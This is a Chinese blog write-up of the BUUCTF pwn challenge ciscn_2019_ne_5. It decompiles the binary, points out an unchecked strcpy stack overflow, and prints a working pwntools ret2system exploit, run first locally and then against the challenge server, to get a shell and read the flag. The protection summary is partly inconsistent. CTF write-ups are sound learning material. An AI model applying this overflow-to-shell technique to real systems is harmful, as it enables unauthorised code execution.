• [buuctf]ciscn_2019_ne_5


    解析

    PWN题ciscn_2019_ne_5,第一步,查询版本保护等信息,命令checksec filename,32位windows文件,开启保护有RELRO,Stack,NX,PIE
    在这里插入图片描述
    保护都是什么意思:
    1.Arch:编译的时候是多少位编译的。

    2.RELRO:分为两种情况,第一种情况是Partial RELRO,这这情况是部分开启堆栈地址随机化,got表可写,第二种,Full RELRO是全部开启,got表不可写,Got表是全局偏移表,里面包含的是外部定义的符号相应的条目的数据段中,PLT表,是过程链接表/内部函数表,linux延迟绑定,但是最后还是要连接到Got,PLT表只是为一个过渡的作用。

    3.Stack:这个保护其实就是在你调用的函数的时候,在栈帧中插入一个随机数,在函数执行完成返回之前,来校验随机数是否被改变,来判断是否被栈溢出,这个我们也俗称为canary(金丝雀),栈保护技术。

    4.NX:为栈不可知性,也就是栈上的数据不可以当作代码区执行的作用。

    5.PIE:PIE的中文叫做,地址无关可执行文件,是针对.text(代码段),.data(数据段),.bss(未初始化全局变量段)来做的保护,正常每一次加载程序,加载地址是固定的,但是PIE保护开启,每次程序启动的时候都会变换加载地址,不可能通过一些工具进行解题了。

    根据图片我们可以知道,是32位elf文件,未开启金丝雀,开启栈内禁止执行,地址无关也未开启。

    进入看到main函数,但是无法进行反编译,是一个地址跳转出现错误,并且爆出一地址是0x08048801,那么就先去找到这个地址所在的地方,反编译出来是一个scanf函数。

    int __isoc99_scanf()
    {
      return _isoc99_scanf();
    }
    之后在回到main函数中进行反编译,则可以获得到main函数的反编译。
    
    代码:
    int __cdecl main(int argc, const char **argv, const char **envp)
    {
      int v3; // [esp+0h] [ebp-100h]
      char src[4]; // [esp+4h] [ebp-FCh]
      char v5; // [esp+8h] [ebp-F8h]
      char s1[4]; // [esp+84h] [ebp-7Ch]
      char v7; // [esp+88h] [ebp-78h]
      const char *v8; // [esp+E8h] [ebp-18h]
      int *v9; // [esp+ECh] [ebp-14h]
      int *v10; // [esp+F4h] [ebp-Ch]
      v10 = &argc;
      setbuf(stdin, 0);
      setbuf(stdout, 0);
      setbuf(stderr, 0);
      fflush(stdout);
      *(_DWORD *)s1 = 48;
      memset(&v7, 0, 0x60u);
      *(_DWORD *)src = 48;
      memset(&v5, 0, 0x7Cu);
      puts("Welcome to use LFS.");
      printf("Please input admin password:");
      __isoc99_scanf();
      if ( strcmp(s1, "administrator") )
      {
        puts("Password Error!");
        exit(0);
      }
      puts("Welcome!");
      while ( 1 )
      {
        puts("Input your operation:");
        puts("1.Add a log.");
        puts("2.Display all logs.");
        puts("3.Print all logs.");
        printf("0.Exit\n:");
        v9 = &v3;
        v8 = "%d";
        __isoc99_scanf();
        switch ( v3 )
        {
          case 0:
            exit(0);
            return;
          case 1:
            AddLog(src);
            break;
          case 2:
            Display(src);
            break;
          case 3:
            Print();
            break;
          case 4:
            GetFlag(src);
            break;
          default:
            continue;
        }
      }
    }
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8
    • 9
    • 10
    • 11
    • 12
    • 13
    • 14
    • 15
    • 16
    • 17
    • 18
    • 19
    • 20
    • 21
    • 22
    • 23
    • 24
    • 25
    • 26
    • 27
    • 28
    • 29
    • 30
    • 31
    • 32
    • 33
    • 34
    • 35
    • 36
    • 37
    • 38
    • 39
    • 40
    • 41
    • 42
    • 43
    • 44
    • 45
    • 46
    • 47
    • 48
    • 49
    • 50
    • 51
    • 52
    • 53
    • 54
    • 55
    • 56
    • 57
    • 58
    • 59
    • 60
    • 61
    • 62
    • 63
    • 64
    • 65
    • 66
    • 67

    之后进行分析,在linux下运行一次,运行的时候会直接输出Welcome to use LFS.和Please input admin password:,根据反编译的第14行if ( strcmp(s1, “administrator”) )可以判断,密码输入的是administrator,之后进入了下面的第29行输出Welcome!,之后输出四个选项,下面还会继续让你输入值,在第反编译第39行,分析如下,如果输入0,那么则会退出返回0,输入1进入AddLog函数,会输出Please input new log info:之后继续进行一个输入实际你第二次在Please input new log info:输入的值,是没有任何作用的。

    AddLog的代码如下:
    int AddLog()
    {
      printf("Please input new log info:");
      return __isoc99_scanf();
    }
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6

    如果输入2,则会进入Display函数这里是会返回一个值,是一个整数。

    int __cdecl Display(char *s)
    {
      return puts(s);
    }
    
    • 1
    • 2
    • 3
    • 4

    如果输入3,则进入Print()函数,这个函数有一个敏感的system,可以用来使用,所以我们现在目前缺的,就是一个/bin/sh的一个参数。

    int Print()
    {
      return system("echo Printing......");
    }
    
    • 1
    • 2
    • 3
    • 4

    输入4进入函数GetFlag,发现一个漏洞函数strcpy,根据strcpy是这么描述,可以接收无限量大的字符,直到遇到\x00但是在这个GetFlag里面没有任何对于我输入的字符进行校验和长度校验,所以出现了一个漏洞。

    攻击思路:首先要进入到选项里面,所以第一个要先看到Please input admin password:之后输入administrator,之后要写入所以我们写入在1中写入,之后利用4去输出,所以输入1,看到Please input new log info:写入payload,之后在输入4,让他输出(执行payload),思路有了,system有了,找一下/bin/sh,但是找不到/bin/sh,但是找到了sh也是可以的。

    编写脚本:先看栈,strcpy(dest, src);其中的变量是dest在栈里申请的空间是0x48,之后距离ret有0x04的距离,所以,需要覆盖的空间是0x48+0x04 之后system的地址是0x080484D0,sh的地址是0x080482ea,在这两个中间需要四个字节填充,shellcode形成,所以脚本也形成,在本地打一下,成功获取到自己的shell。
    在这里插入图片描述

    from pwn import *
    p = process('./ciscn_2019_ne_5')
    context(os = 'linux',arch = 'i386',log_level = 'debug')#系统linux,i386,debug的方式
    p.sendlineafter('Please input admin password:','administrator')#运行之后,写入administrator
    payload = b'c'*(0x48+0x04) + p32(0x080484D0) + b'aaaa' + p32(0x080482Ea) #溢出+覆盖返回地址+system的地址+ 填充 + sh的地址
    p.sendlineafter(':','1')
    p.sendlineafter('Please input new log info:',payload)
    p.sendlineafter(':','4')
    p.interactive()
    之后打远程
    只需要把p = process('./ciscn_2019_ne_5')
    换成p = remote(ip(域名),端口)即可。
    
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8
    • 9
    • 10
    • 11
    • 12
    • 13
    from pwn import *
    #p = process('./ciscn_2019_ne_5')
    p = remote('node4.buuoj.cn',27497)
    context(os = 'linux',arch = 'i386',log_level = 'debug')
    p.sendlineafter('Please input admin password:','administrator')
    payload = b'c'*(0x48+0x04) + p32(0x080484D0) + b'aaaa' + p32(0x080482Ea) #溢出+覆盖返回地址+system的地址+ 填充 + sh的地址
    p.sendlineafter(':','1')
    p.sendlineafter('Please input new log info:',payload)
    p.sendlineafter(':','4')
    p.interactive()
    运行之后直接执行cat flag,获取到flag。
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8
    • 9
    • 10
    • 11

    在这里插入图片描述

  • 相关阅读:
    UiPath Studio 2023.10 Crack
    java-php-python-ssm信息学院网站分析计算机毕业设计
    RocketMq消息中间件测试实战-消息重复如何测试
    RabbitMQ安装
    [附源码]Python计算机毕业设计Django网上鲜花购物系统
    Libuv源码解析 - uv_run
    负载均衡的常见实现方式
    副业该怎么选择,适合新手的四个副业项目,零基础也可操作的兼职
    温故而知新五(C++)
    [python][原创]模拟实现yolov5训练时候终端的训练进度显示
  • 原文地址:https://blog.csdn.net/m0_71081503/article/details/127707560